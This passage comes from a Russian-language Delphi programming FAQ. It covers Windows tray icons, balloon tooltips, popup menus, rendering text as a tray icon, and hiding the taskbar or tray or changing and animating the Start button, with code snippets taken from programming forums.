После добавления иконки на Tray можно менять саму иконку, ToolTip и сообщение, посылаемое окну. Для этого необходимо заполнить экземпляр структуры NOTIFYICONDATA и вызвать функцию Shell_NotifyIcon() с параметром NIM_MODIFY и указателем на заполненный экземпляр структуры. При изменении иконки необходимо заполнить поля cbSize, hWnd, uID, uFlags и поля, отвечающие за параметры иконки, которые вы хотите менять. При этом uFlags должен содержать комбинацию флагов, описывающую поля, которые необходимо модифицировать.

Взято из FAQ:
http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml


Как удалить иконку с Tray?

Для удаления иконки вы должны знать ее ID и дескриптор окна-обработчика сообщений. Для удаления иконки с Tray надо вызвать функцию Shell_NotifyIcon() с параметром NIM_DELETE и указателем на экземпляр структуры NOTIFYICONDATA, у которого должны быть заполнены следующие поля: cbSize, hWnd, uID.

Взято из FAQ:
http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml


Как мне узнать о воздействии мыши на иконку, находящуюся на Tray?

При добавлении иконки на Tray вы указывали окно - обработчик сообщения и сообщение (CallbackMessage). Теперь окно, указанное вами будет при любых событиях мыши, происходящих над иконкой получать сообщение, указанное при добавлении иконки. При этом параметры lParam и wParam будут задействованы следующим образом:

(UINT)wParam - содержит ID иконки, над которой произошло
событие
(UINT)lParam - содержит стандартное событие мыши, такое
как WM_MOUSEMOVE или WM_LBUTTONDOWN.

При этом, информация о клавишах смены регистра, так же как и местоположения события, передаваемые при стандартных " настоящих" сообщениях мыши, теряются. Hо положение курсора можно узнать функцией GetCursorPos(), а состояние клавиш смены регистра - функцией GetKeyState(), описанных в winuser.h.

Взято из FAQ:
http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml


Как сделать Pop-Up меню при щелчке иконке в Sys tray?

Многие программы показывают Pop-Up меню при щелчке на их иконке, помещенной на Tray, как этого добиться ?

Вы должны обрабатывать сообщение, указанное вами при добавлении иконки на Tray. При значении (UINT)lParam, равном WM_RBUTTONDOWN (это обычно дял Pop-Up меню по правой кнопке), или любому другому необходимому вам, вы должны вызовом функции GetCursorPos() получить позицию курсора в момент события (вряд ли пользователь успеет убрать мышь за время обработки сообщения, особенно если он ожидает меню), получить вескриптор Pop-Up меню одним из многих способов (LoadMenu(), GetSubMenu(), CreateMenu(), и т.д.) и выполнить следующий код:

SetForegroundWindow(hWnd);
TrackPopupMenuEx(hMenu,TPM_HORIZONTAL|TPM_LEFTALIGN,x, y,hWnd, NULL);
DestroyMenu(hMenu);
PostMessage(hWnd,WM_USER,0,0);

где hWnd - дескриптор окна, которое будет обрабатывать команду меню,
hMenu - дескриптор меню,
x и y - позиция курсора.

Для подробностей смотрите Win32 SDK Help по функции TrackPopupMenuEx.

Взято из FAQ:
http://blackman.km.ru/myfaq/cont4.phtml]http://blackman.km.ru/myfaq/cont4.phtml


Отображаем текст в System Tray.

Автор: Ruslan Abu Zant
Данный код сперва конвертирует Ваш текст в DIB, а затем DIB в иконку и далее в ресурс. После этого изображение иконки отображается в System Tray.

Вызов просходит следующим образом....

StringToIcon('This Is Made By Ruslan K. Abu Zant');

N.B>> Не забудьте удалить объект HIcon, после вызова функции...

unit MainForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Image1: TImage;
    Timer1: TTimer;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    function StringToIcon(const st: string): HIcon;
  public
   { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

type
  ICONIMAGE = record
    Width, Height, Colors: DWORD; // Ширина, Высота и кол-во цветов
    lpBits: PChar; // указатель на DIB биты
    dwNumBytes: DWORD; // Сколько байт?
    lpbi: PBitmapInfoHeader; // указатель на заголовок
    lpXOR: PChar; // указатель на XOR биты изображения
    lpAND: PChar; // указатель на AND биты изображения
  end;

function CopyColorTable(var lpTarget: BITMAPINFO; const lpSource:
  BITMAPINFO): boolean;
var
  dc: HDC;
  hPal: HPALETTE;
  pe: array[0..255] of PALETTEENTRY;
  i: Integer;
begin
  result := False;
  case (lpTarget.bmiHeader.biBitCount) of
    8:
      if lpSource.bmiHeader.biBitCount = 8 then
        begin
          Move(lpSource.bmiColors, lpTarget.bmiColors, 256 * sizeof(RGBQUAD));
          result := True
        end
      else
        begin
          dc := GetDC(0);
          if dc <> 0 then
          try
            hPal := CreateHalftonePalette(dc);
            if hPal <> 0 then
            try
              if GetPaletteEntries(hPal, 0, 256, pe) <> 0 then
                begin
                  for i := 0 to 255 do
                    begin
                      lpTarget.bmiColors[i].rgbRed := pe[i].peRed;
                      lpTarget.bmiColors[i].rgbGreen := pe[i].peGreen;
                      lpTarget.bmiColors[i].rgbBlue := pe[i].peBlue;
                      lpTarget.bmiColors[i].rgbReserved := pe[i].peFlags
                    end;
                  result := True
                end
            finally
              DeleteObject(hPal)
            end
          finally
            ReleaseDC(0, dc)
          end
        end;

    4:
      if lpSource.bmiHeader.biBitCount = 4 then
        begin
          Move(lpSource.bmiColors, lpTarget.bmiColors, 16 * sizeof(RGBQUAD));
          result := True
        end
      else
        begin
          hPal := GetStockObject(DEFAULT_PALETTE);
          if (hPal <> 0) and (GetPaletteEntries(hPal, 0, 16, pe) <> 0) then
            begin
              for i := 0 to 15 do
                begin
                  lpTarget.bmiColors[i].rgbRed := pe[i].peRed;
                  lpTarget.bmiColors[i].rgbGreen := pe[i].peGreen;
                  lpTarget.bmiColors[i].rgbBlue := pe[i].peBlue;
                  lpTarget.bmiColors[i].rgbReserved := pe[i].peFlags
                end;
              result := True
            end
        end;
    1:
      begin
        i := 0;
        lpTarget.bmiColors[i].rgbRed := 0;
        lpTarget.bmiColors[i].rgbGreen := 0;
        lpTarget.bmiColors[i].rgbBlue := 0;
        lpTarget.bmiColors[i].rgbReserved := 0;
        i := 1;
        lpTarget.bmiColors[i].rgbRed := 255;
        lpTarget.bmiColors[i].rgbGreen := 255;
        lpTarget.bmiColors[i].rgbBlue := 255;
        lpTarget.bmiColors[i].rgbReserved := 0;
        result := True
      end;
  else
    result := True
  end
end;

function WidthBytes(bits: DWORD): DWORD;
begin
  result := ((bits + 31) shr 5) shl 2
end;

function BytesPerLine(const bmih: BITMAPINFOHEADER): DWORD;
begin
  result := WidthBytes(bmih.biWidth * bmih.biPlanes * bmih.biBitCount)
end;

function DIBNumColors(const lpbi: BitmapInfoHeader): word;
var
  dwClrUsed: DWORD;
begin
  dwClrUsed := lpbi.biClrUsed;
  if dwClrUsed <> 0 then
    result := Word(dwClrUsed)
  else
    case lpbi.biBitCount of
      1: result := 2;
      4: result := 16;
      8: result := 256
    else
      result := 0
    end
end;

function PaletteSize(const lpbi: BitmapInfoHeader): word;
begin
  result := DIBNumColors(lpbi) * sizeof(RGBQUAD)
end;

function FindDIBBits(const lpbi: BitmapInfo): PChar;
begin
  result := @lpbi;
  result := result + lpbi.bmiHeader.biSize + PaletteSize(lpbi.bmiHeader)
end;

function ConvertDIBFormat(var lpSrcDIB: BITMAPINFO; nWidth, nHeight, nbpp: DWORD; bStretch: boolean):
  PBitmapInfo;
var
  lpbmi: PBITMAPINFO;
  lpSourceBits, lpTargetBits: Pointer;
  DC, hSourceDC, hTargetDC: HDC;
  hSourceBitmap, hTargetBitmap, hOldTargetBitmap, hOldSourceBitmap:
  HBITMAP;
  dwSourceBitsSize, dwTargetBitsSize, dwTargetHeaderSize: DWORD;
begin
  result := nil;
   // Располагаем и заполняем структуру BITMAPINFO для нового DIB
   // Обеспечиваем достаточно места для 256-цветной таблицы
  dwTargetHeaderSize := sizeof(BITMAPINFO) + (256 * sizeof(RGBQUAD));
  GetMem(lpbmi, dwTargetHeaderSize);
  try
    lpbmi^.bmiHeader.biSize := sizeof(BITMAPINFOHEADER);
    lpbmi^.bmiHeader.biWidth := nWidth;
    lpbmi^.bmiHeader.biHeight := nHeight;
    lpbmi^.bmiHeader.biPlanes := 1;
    lpbmi^.bmiHeader.biBitCount := nbpp;
    lpbmi^.bmiHeader.biCompression := BI_RGB;
    lpbmi^.bmiHeader.biSizeImage := 0;
    lpbmi^.bmiHeader.biXPelsPerMeter := 0;
    lpbmi^.bmiHeader.biYPelsPerMeter := 0;
    lpbmi^.bmiHeader.biClrUsed := 0;
    lpbmi^.bmiHeader.biClrImportant := 0; // Заполняем в таблице цветов
    if CopyColorTable(lpbmi^, lpSrcDIB) then
      begin
        DC := GetDC(0);
        hTargetBitmap := CreateDIBSection(DC, lpbmi^, DIB_RGB_COLORS,
          lpTargetBits, 0, 0);
        hSourceBitmap := CreateDIBSection(DC, lpSrcDIB, DIB_RGB_COLORS,
          lpSourceBits, 0, 0);

        try
          if (dc <> 0) and (hTargetBitmap <> 0) and (hSourceBitmap <> 0) then
            begin
              hSourceDC := CreateCompatibleDC(DC);
              hTargetDC := CreateCompatibleDC(DC);
              try
                if (hSourceDC <> 0) and (hTargetDC <> 0) then
                  begin
             // Flip the bits on the source DIBSection to match the source DIB
                    dwSourceBitsSize := DWORD(lpSrcDIB.bmiHeader.biHeight) * BytesPerLine(lpSrcDIB.bmiHeader);
                    dwTargetBitsSize := DWORD(lpbmi^.bmiHeader.biHeight) *
                      BytesPerLine(lpbmi^.bmiHeader);
                    Move(FindDIBBits(lpSrcDIB)^, lpSourceBits^, dwSourceBitsSize);

             // Select DIBSections into DCs
                    hOldSourceBitmap := SelectObject(hSourceDC, hSourceBitmap);
                    hOldTargetBitmap := SelectObject(hTargetDC, hTargetBitmap);

                    try
                      if (hOldSourceBitmap <> 0) and (hOldTargetBitmap <> 0) then
                        begin
           // Устанавливаем таблицу цветов для DIBSections
                          if lpSrcDIB.bmiHeader.biBitCount <= 8 then
                            SetDIBColorTable(hSourceDC, 0, 1 shl lpSrcDIB.bmiHeader.biBitCount, lpSrcDIB.bmiColors);

                          if lpbmi^.bmiHeader.biBitCount <= 8 then
                            SetDIBColorTable(hTargetDC, 0, 1 shl
                              lpbmi^.bmiHeader.biBitCount, lpbmi^.bmiColors);

                  // If we are asking for a straight copy, do it
                          if (lpSrcDIB.bmiHeader.biWidth = lpbmi^.bmiHeader.biWidth) and (lpSrcDIB.bmiHeader.biHeight = lpbmi^.bmiHeader.biHeight) then
                            BitBlt(hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, SRCCOPY)
                          else if bStretch then
                            begin
                              SetStretchBltMode(hTargetDC, COLORONCOLOR);
                              StretchBlt(hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth,
                                lpbmi^.bmiHeader.biHeight,
                                hSourceDC, 0, 0, lpSrcDIB.bmiHeader.biWidth, lpSrcDIB.bmiHeader.biHeight,
                                SRCCOPY)
                            end
                          else
                            BitBlt(hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, SRCCOPY);

                          GDIFlush;
                          GetMem(result, Integer(dwTargetHeaderSize + dwTargetBitsSize));

                          Move(lpbmi^, result^, dwTargetHeaderSize);
                          Move(lpTargetBits^, FindDIBBits(result^)^, dwTargetBitsSize)
                        end
                    finally
                      if hOldSourceBitmap <> 0 then SelectObject(hSourceDC, hOldSourceBitmap);
                      if hOldTargetBitmap <> 0 then SelectObject(hTargetDC, hOldTargetBitmap);
                    end
                  end
              finally
                if hSourceDC <> 0 then DeleteDC(hSourceDC);
                if hTargetDC <> 0 then
                  DeleteDC(hTargetDC)
              end
            end;
        finally
          if hTargetBitmap <> 0 then DeleteObject(hTargetBitmap);
          if hSourceBitmap <> 0 then DeleteObject(hSourceBitmap);
          if dc <> 0 then
            ReleaseDC(0, dc)
        end
      end
  finally
    FreeMem(lpbmi)
  end
end;

function DIBToIconImage(var lpii: ICONIMAGE; var lpDIB: BitmapInfo;
  bStretch: boolean): boolean;
var
  lpNewDIB: PBitmapInfo;
begin
  result := False;
  lpNewDIB := ConvertDIBFormat(lpDIB, lpii.Width, lpii.Height, lpii.Colors,
    bStretch);
  if Assigned(lpNewDIB) then
  try

    lpii.dwNumBytes := sizeof(BITMAPINFOHEADER) // Заголовок
      + PaletteSize(lpNewDIB^.bmiHeader) // Палитра
      + lpii.Height * BytesPerLine(lpNewDIB^.bmiHeader) // XOR маска
      + lpii.Height * WIDTHBYTES(lpii.Width); // AND маска
      // Если здесь уже картинка, то освобождаем её
    if lpii.lpBits <> nil then
      FreeMem(lpii.lpBits);

    GetMem(lpii.lpBits, lpii.dwNumBytes);
    Move(lpNewDib^, lpii.lpBits^, sizeof(BITMAPINFOHEADER) + PaletteSize
      (lpNewDIB^.bmiHeader));
     // Выравниваем внутренние указатели/переменные для новой картинки
    lpii.lpbi := PBITMAPINFOHEADER(lpii.lpBits);
    lpii.lpbi^.biHeight := lpii.lpbi^.biHeight * 2;

    lpii.lpXOR := FindDIBBits(PBitmapInfo(lpii.lpbi)^);
    Move(FindDIBBits(lpNewDIB^)^, lpii.lpXOR^, lpii.Height * BytesPerLine
      (lpNewDIB^.bmiHeader));

    lpii.lpAND := lpii.lpXOR + lpii.Height * BytesPerLine
      (lpNewDIB^.bmiHeader);
    Fillchar(lpii.lpAnd^, lpii.Height * WIDTHBYTES(lpii.Width), $00);

    result := True
  finally
    FreeMem(lpNewDIB)
  end
end;

function TForm1.StringToIcon(const st: string): HIcon;
var
  memDC: HDC;
  bmp: HBITMAP;
  oldObj: HGDIOBJ;
  rect: TRect;
  size: TSize;
  infoHeaderSize: DWORD;
  imageSize: DWORD;
  infoHeader: PBitmapInfo;
  icon: IconImage;
  oldFont: HFONT;

begin
  result := 0;
  memDC := CreateCompatibleDC(0);
  if memDC <> 0 then
  try
    bmp := CreateCompatibleBitmap(Canvas.Handle, 16, 16);
    if bmp <> 0 then
    try
      oldObj := SelectObject(memDC, bmp);
      if oldObj <> 0 then
      try
        rect.Left := 0;
        rect.top := 0;
        rect.Right := 16;
        rect.Bottom := 16;
        SetTextColor(memDC, RGB(255, 0, 0));
        SetBkColor(memDC, RGB(128, 128, 128));
        oldFont := SelectObject(memDC, font.Handle);
        GetTextExtentPoint32(memDC, PChar(st), Length(st), size);
        ExtTextOut(memDC, (rect.Right - size.cx) div 2, (rect.Bottom - size.cy) div 2, ETO_OPAQUE, @rect, PChar(st), Length(st), nil);
        SelectObject(memDC, oldFont);
        GDIFlush;

        GetDibSizes(bmp, infoHeaderSize, imageSize);
        GetMem(infoHeader, infoHeaderSize + ImageSize);
        try
          GetDib(bmp, SystemPalette16, infoHeader^, PChar(DWORD(infoHeader) + infoHeaderSize)^);

          icon.Colors := 4;
          icon.Width := 32;
          icon.Height := 32;
          icon.lpBits := nil;
          if DibToIconImage(icon, infoHeader^, True) then
          try
            result := CreateIconFromResource(PByte(icon.lpBits), icon.dwNumBytes, True, $00030000);
          finally
            FreeMem(icon.lpBits)
          end
        finally
          FreeMem(infoHeader)
        end

      finally
        SelectObject(memDC, oldOBJ)
      end
    finally
      DeleteObject(bmp)
    end
  finally
    DeleteDC(memDC)
  end
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Application.Icon.Handle := StringToIcon('0');
  Timer1.Enabled := True;
  Button1.Enabled := False;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
const i: Integer = 0;
begin
  Inc(i);
  if i = 100 then i := 1;
  Application.Icon.Handle := StringToIcon(IntToStr(i));

end;

end.
Взято из http://forum.sources.ru


Показываем/Скрываем System Tray

Автор: Ruslan Abu Zant

Вы, наверное, видели множество примеров, которые показывают как скрывать панель задач или кнопку Пуск. Но вот как скрыть только System Tray ?

procedure hideStartbutton(visi: boolean);
var
  Tray, Child: hWnd;
  C: array[0..127] of Char;
  S: string;

begin
  Tray := FindWindow('Shell_TrayWnd', nil);
  Child := GetWindow(Tray, GW_CHILD);
  while Child <> 0 do
    begin
      if GetClassName(Child, C, SizeOf(C)) > 0 then
        begin
          S := StrPAS(C);
          if UpperCase(S) = 'TRAYNOTIFYWND' then
            begin
              if Visi then
                ShowWindow(Child, 1)
              else
                ShowWindow(Child, 0);
            end;
        end;
      Child := GetWindow(Child, GW_HWNDNEXT);
    end;
end;

для того, чтобы обатно её показать, используйте

hideStartbutton(true);

или hideStartbutton(false);
чтобы скрыть !!

Взято из http://forum.sources.ru


Как закрыть всплывающее меню в System Tray когда оно теряет фокус?

Иногда, при потере фокуса, всплывающее меню в System Tray при потере фокуса не закрывается. Поэтому, при обработке сообщений для всплывающего меню необходимо поместить окно на передний план и послать ему сообщение WM_NULL.

procedure TForm1.WndProc(var Msg : TMessage);
var
  p : TPoint;
begin
  case Msg.Msg of
    WM_USER + 1:
    case Msg.lParam of
      WM_RBUTTONDOWN: begin
         SetForegroundWindow(Handle);
         GetCursorPos(p);
         PopupMenu1.Popup(p.x, p.y);
         PostMessage(Handle, WM_NULL, 0, 0);
      end;
    end;
  end;
  inherited;
end;

Взято из http://forum.sources.ru


Как показать округлённое окошко подсказки в трее в Windows2000?

В Windows 2000, формат структуры NotifyIconData, которая используется для работы с иконками в Трее (которая, кстати, называется "The Taskbar Notification Area" :) значительно отличается от предыдущий версий Windows. Однако, эти изменения НЕ отражены в юните ShellAPI.pas в Delphi 5.

Итак, нам понадобится преобразованный SHELLAPI.H, в котором присутствуют все необходимые объявления:

uses Windows;

type
  NotifyIconData_50 = record // определённая в shellapi.h
    cbSize: DWORD;
    Wnd: HWND;
    uID: UINT;
    uFlags: UINT;
    uCallbackMessage: UINT;
    hIcon: HICON;
    szTip: array[0..MAXCHAR] of AnsiChar;
    dwState: DWORD;
    dwStateMask: DWORD;
    szInfo: array[0..MAXBYTE] of AnsiChar;
    uTimeout: UINT; // union with uVersion: UINT;
    szInfoTitle: array[0..63] of AnsiChar;
    dwInfoFlags: DWORD;
  end{record};

const
  NIF_INFO      =        $00000010;

  NIIF_NONE     =        $00000000;
  NIIF_INFO     =        $00000001;
  NIIF_WARNING  =       $00000002;
  NIIF_ERROR    =        $00000003;

А это набор вспомогательных типов:

type
  TBalloonTimeout = 10..30{seconds};
  TBalloonIconType = (bitNone,    // нет иконки
                      bitInfo,    // информационная иконка (синяя)
                      bitWarning, // иконка восклицания (жёлтая)
                      bitError);  // иконка ошибки (краснаа)

Теперь мы готовы приступить к созданию округлённых подсказок!

Для этого воспользуемся следующей функцией:

uses SysUtils, Windows, ShellAPI;

function DZBalloonTrayIcon(const Window: HWND; const IconID: Byte; const Timeout: TBalloonTimeout; const BalloonText, BalloonTitle: String; const BalloonIconType: TBalloonIconType): Boolean;
const
  aBalloonIconTypes : array[TBalloonIconType] of Byte = (NIIF_NONE, NIIF_INFO, NIIF_WARNING, NIIF_ERROR);
var
  NID_50 : NotifyIconData_50;
begin
  FillChar(NID_50, SizeOf(NotifyIconData_50), 0);
  with NID_50 do begin
    cbSize := SizeOf(NotifyIconData_50);
    Wnd := Window;
    uID := IconID;
    uFlags := NIF_INFO;
    StrPCopy(szInfo, BalloonText);
    uTimeout := Timeout * 1000;
    StrPCopy(szInfoTitle, BalloonTitle);
    dwInfoFlags := aBalloonIconTypes[BalloonIconType];
  end{with};
  Result := Shell_NotifyIcon(NIM_MODIFY, @NID_50);
end;

Вызывается она следующим образом:

DZBalloonTrayIcon(Form1.Handle, 1, 10, 'this is the balloon text', 'title', bitWarning);

Иконка, должна быть предварительно добавлена с темже дескриптором окна и IconID (в данном примере Form1.Handle и 1).

Можете попробовать все три типа иконок внутри всплывающей подсказки.

P.S. На всякий случай, ниже представлены функции для добавление/удаления иконок в трее:

uses SysUtils, Windows, ShellAPI;

{добавление иконки}
function DZAddTrayIcon(const Window: HWND; const IconID: Byte; const Icon: HICON; const Hint: String = ''): Boolean;
var
  NID : NotifyIconData;
begin
  FillChar(NID, SizeOf(NotifyIconData), 0);
  with NID do begin
    cbSize := SizeOf(NotifyIconData);
    Wnd := Window;
    uID := IconID;
    if Hint = '' then begin
      uFlags := NIF_ICON;
    end{if} else begin
      uFlags := NIF_ICON or NIF_TIP;
      StrPCopy(szTip, Hint);
    end{else};
    hIcon := Icon;
  end{with};
  Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;

{добавляет иконку с call-back сообщением}
function DZAddTrayIconMsg(const Window: HWND; const IconID: Byte; const Icon: HICON; const Msg: Cardinal; const Hint: String = ''): Boolean;
var
  NID : NotifyIconData;
begin
  FillChar(NID, SizeOf(NotifyIconData), 0);
  with NID do begin
    cbSize := SizeOf(NotifyIconData);
    Wnd := Window;
    uID := IconID;
    if Hint = '' then begin
      uFlags := NIF_ICON or NIF_MESSAGE;
    end{if} else begin
      uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
      StrPCopy(szTip, Hint);
    end{else};
    uCallbackMessage := Msg;
    hIcon := Icon;
  end{with};
  Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;

{удаляет иконку}
function DZRemoveTrayIcon(const Window: HWND; const IconID: Byte): Boolean;
var
  NID : NotifyIconData;
begin
  FillChar(NID, SizeOf(NotifyIconData), 0);
  with NID do begin
    cbSize := SizeOf(NotifyIconData);
    Wnd := Window;
    uID := IconID;
  end{with};
  Result := Shell_NotifyIcon(NIM_DELETE, @NID);
end;

Несколько заключительных замечаний:
1. Нет необходимости использовать большую структуру NotifyIconData_50 для добавления или удаления иконок, старая добрая структура NotifyIconData прекрасно подойдёт для этого.
2. Для callback сообщения можно использовать WM_APP + что-нибудь.
3. Используя различные IconID, легко можно добавить несколько различных иконок из одного родительского окна и работать с ними по их IconID.

Взято из http://forum.sources.ru


Taskbar, кнопка Пуск, Системное меню

Cодержание раздела:

Как определить, включено ли автоскрытие у панели задач?
Как открыть меню кнопки Пуск?
Как изменить изображение кнопки Пуск?
Как скрыть TaskBar?
Анимированная кнопка Пуск?
Работа с System Menu
Как очистить пункт меню Документы кнопки Пуск?
Определение координат расположения TaskBar
Работа с TaskBar
Как добавить файл в меню Пуск/Документы New!
Кто владелец taskbar buttons (NT)? New!
Как сделать Multi Screen Emulator? New!
Скрыть Tray, часы, кнопку ПУСК, панель задач New!
Получение информации о TaskBar New!


Как определить, включено ли автоскрытие у панели задач?

uses ShellAPI;

...

function IsTaskbarAutoHideOn : boolean;
var ABData : TAppBarData;
begin
ABData.cbSize := sizeof(ABData);
Result :=(SHAppBarMessage(ABM_GETSTATE, ABData) and ABS_AUTOHIDE) > 0;
end;

Взято из http://forum.sources.ru


Как открыть меню кнопки Пуск?

procedure TForm1.Button1Click(Sender: TObject);
begin
  SendMessage(Self.Handle, WM_SYSCOMMAND, SC_TASKLIST, 0);
end;

Взято из http://forum.sources.ru


Как изменить изображение кнопки Пуск?

Автор: Misha Moellner

Пример из серии "Что можно сделать с рабочим столом". В общем, это обычный трюк с кнопкой "Пуск" (Start).

{ объявляем глобальные переменные }

var
  Form1: TForm1;
  StartButton: hWnd;
  OldBitmap: THandle;
  NewImage: TPicture;

{ добавляем следующий код в событие формы OnCreate }

procedure TForm1.FormCreate(Sender: TObject);
begin
  NewImage := TPicture.create;
  NewImage.LoadFromFile('C:\Windows\Circles.BMP');
  StartButton := FindWindowEx
                 (FindWindow(
                    'Shell_TrayWnd', nil),
                     0,'Button', nil);
  OldBitmap := SendMessage(StartButton,
                           BM_SetImage, 0,
                           NewImage.Bitmap.Handle);
end;

{ Событие OnDestroy }

procedure TForm1.FormDestroy(Sender: TObject);
begin
  SendMessage(StartButton,BM_SetImage,0,OldBitmap);
  NewImage.Free;
end;

Взято из http://forum.sources.ru


Как скрыть TaskBar?

Спрятать

procedure TForm1.Button1Click(Sender: TObject);
var
  hTaskBar : THandle;
begin
  hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  ShowWindow(hTaskBar, SW_HIDE);
end;

//Показать
procedure TForm1.Button2Click(Sender: TObject);
var
  hTaskBar : THandle;
begin
  hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  ShowWindow(hTaskBar, SW_SHOWNORMAL);
end;

Взято из http://forum.sources.ru


Анимированная кнопка Пуск?

Автор: I MD.CIPTAYASA
Итак, если Вам надоело привычное статическое изображение кнопки "Пуск", то предлагаю немного оживить её :) Надеюсь, что это доставит Вам удовольствие.

unit Main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls,ShellAPI;

const
  MAX_BUFFER = 6;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Timer1: TTimer;
    Button2: TButton;
    Image1: TImage;
    Edit1: TEdit;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Button3: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Edit1KeyPress(Sender: TObject; var Key: Char);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button3Click(Sender: TObject);
  private
    HW : HWND;
    DC : HDC;
    R  : TRect;
    FNumber : integer;
    Buffer : array[1..MAX_BUFFER] of TBitmap;
    TrayIcon : TNotifyIconData;
    procedure CreateFrames;
    procedure DestroyFrames;
    procedure BuildFrames;
    procedure NotifyIcon(var Msg : TMessage);message WM_USER + 100;
    procedure OnMinimizeEvt(Sender : TObject);
  end;

var
  Form1: TForm1;

implementation

uses Math;
{$R *.DFM}

// Создаём буфер для спрайтов
procedure TForm1.CreateFrames;
var
i : integer;
begin
  for i:=1 to MAX_BUFFER do
   begin
     Buffer[i] := TBitmap.Create;
     Buffer[i].Height := R.Bottom-R.Top;
     Buffer[i].Width  := R.Right-R.Left;
     Buffer[i].Canvas.Brush.Color := clBtnFace;
     Buffer[i].Canvas.Pen.Color := clBtnFace;
     Buffer[i].Canvas.Rectangle(0,0,Buffer[i].Width,Buffer[i].Height);
   end;
end;

procedure TForm1.DestroyFrames;
var
i : integer;
begin
  for i:=1 to MAX_BUFFER do
   begin
     Buffer[i].Destroy;
   end;
end;

// Подготавливает сегменты/спрайты для анимации
procedure TForm1.BuildFrames;
var
i,j,k,H,W : integer;
Y : double;
begin
H := R.Bottom-R.Top;
W := R.Right-R.Left;
Image1.Width := W;
Image1.Height:= H;
for i := 1 to MAX_BUFFER-1 do //Буфер[MAX_BUFFER] используется для хранения оригинального битмапа
  for j:= 1 to W do
   for k:=1 to H do
    begin
     Y := 2*Sin((j*360/W)*(pi/180)-20*i);
     Buffer[i].Canvas.Pixels[j,k-Round(Y)]:= Buffer[6].Canvas.Pixels[j,k];
    end;
end;

procedure TForm1.OnMinimizeEvt(Sender : TObject);
begin
  ShowWindow(Application.Handle,SW_HIDE);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  HW := FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil);
  GetWindowRect(HW,R);
  DC := GetWindowDC(HW);
  CreateFrames;
  FNumber :=1;
  TrayIcon.cbSize := SizeOf(TrayIcon);
  TrayIcon.Wnd := Form1.Handle;
  TrayIcon.uID := 100;
  TrayIcon.uFlags := NIF_MESSAGE + NIF_ICON + NIF_TIP;
  TrayIcon.uCallbackMessage := WM_USER + 100;
  TrayIcon.hIcon := Application.Icon.Handle;
  Shell_NotifyIcon(NIM_ADD,@TrayIcon);
  Application.OnMinimize := OnMinimizeEvt;
end;

// Уведомляем обработчик
procedure TForm1.NotifyIcon(var Msg : TMessage);
begin
  case Msg.LParam of
   WM_LBUTTONDBLCLK :
    begin
      ShowWindow(Application.Handle,SW_SHOW);
      Application.Restore;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
//Получаем изображение оригинальной кнопки, чтобы потом использовать его
//когда анимация завершится
  BitBlt(Buffer[MAX_BUFFER].Canvas.Handle,0,0,R.Right-R.Left,R.Bottom-R.Top,
         DC,0,0,SRCCOPY);
  BuildFrames;
  Image1.Canvas.Draw(0,0,Buffer[MAX_BUFFER]);
  Button2.Enabled := true;
  if Edit1.Text <> '' then
   Timer1.Interval := StrToInt(Edit1.Text)
  else
   begin
    Timer1.Interval := 100;
    Edit1.Text := '100';
   end;
end;

// Освобождение ресурсов
procedure TForm1.FormDestroy(Sender: TObject);
begin
  Timer1.Enabled := false;
  BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
         Buffer[MAX_BUFFER].Canvas.Handle,0,0,SRCCOPY);
  ReleaseDC(HW,DC);
  DestroyFrames; // не забудьте сделать это !!!
  Shell_NotifyIcon(NIM_DELETE,@TrayIcon);
end;

// Анимация начинается здесь
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
         Buffer[FNumber].Canvas.Handle,0,0,SRCCOPY);
  Inc(FNumber);
  if (FNumber > MAX_BUFFER-1) then FNumber := 1;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  Timer1.Enabled := not Timer1.Enabled;
  if not Timer1.Enabled then
   begin
     BitBlt(DC,0,0,R.Right-R.Left,R.Bottom-R.Top,
         Buffer[MAX_BUFFER].Canvas.Handle,0,0,SRCCOPY);
     Button2.Caption := '&Animate';
     Button1.Enabled := true;
   end
  else
   begin
     Button2.Caption := '&Stop';
     Button1.Enabled := false;
   end;
end;

// Обеспечиваем ввод числовых значений
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
  if not (Key in ['0'..'9']) and (Key <> Chr(VK_BACK)) then
   Key := #0;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action := caNone;
  Application.Minimize;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  PostMessage(Form1.Handle,WM_DESTROY,0,0);
  Application.Terminate;
end;

end.

